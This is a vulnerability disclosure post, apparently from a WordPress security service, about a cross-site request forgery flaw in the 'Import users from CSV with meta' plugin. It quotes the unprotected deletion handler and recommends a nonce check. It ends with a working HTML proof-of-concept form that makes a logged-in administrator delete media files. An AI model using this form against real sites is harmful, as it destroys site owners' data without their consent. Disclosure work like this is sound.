21 Jun

Cross-Site Request Forgery (CSRF)/Media Deletion Vulnerability in Import users from CSV with meta

One of the changelog entries for the latest version of Import users from CSV with meta is “XSS problem fixed when displaying data imported thanks to lckjack who reports it”, while looking to see if there was a vulnerability related to that we should be notifying the customers of our service about if they use that plugin, we found a vulnerability we could confirm still exists. It turns out the plugin’s functionality for deleting files uploaded through it isn’t properly secured, so an attacker could cause logged in Administrators to delete any WordPress media files without intending it.

The plugin registers the function that handles that to be accessible to anyone logged in to WordPress through its AJAX functionality:

56
add_action( 'wp_ajax_acui_delete_attachment', 'acui_delete_attachment' );

The function, which is located in the file /import-users-from-csv-with-meta.php, does restrict who can do the deletion to those with the “manage_option” capability that normally only Administrators have:

678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
function acui_delete_attachment() {
	if( ! current_user_can( 'manage_options' ) )
		wp_die( __('You are not an adminstrator', 'import-users-from-csv-with-meta' ) );
 
	$attach_id = intval( $_POST['attach_id'] );
 
	$result = wp_delete_attachment( $attach_id, true );
 
	if( $result === false )
		echo 0;
	else
		echo 1;
 
	wp_die();
}

What it doesn’t include is a nonce check to prevent cross-site request forgery (CSRF), so an attacker could cause a logged in Administrator to delete an arbitrary media file handled by WordPress. Since the media is deleted based on an integer based ID value an attacker could have them send out multiple request that delete any possible media files.

In addition to check for a nonce, restricting what media files can deleted might be a good idea if possible.

We are the reason that capabilities check is there

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will delete the file associated with specified attachment ID, when logged in to WordPress as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[attachment ID]” with the attachment ID of the media file to be deleted.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=acui_delete_attachment" method="POST">
<input type="hidden" name="attach_id" value="[attachment ID]" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service you can suggest/vote for the plugins you use to receive a security review from us. You can start using the service for free when you sign up now.

Leave a Reply

Your email address will not be published. Required fields are marked *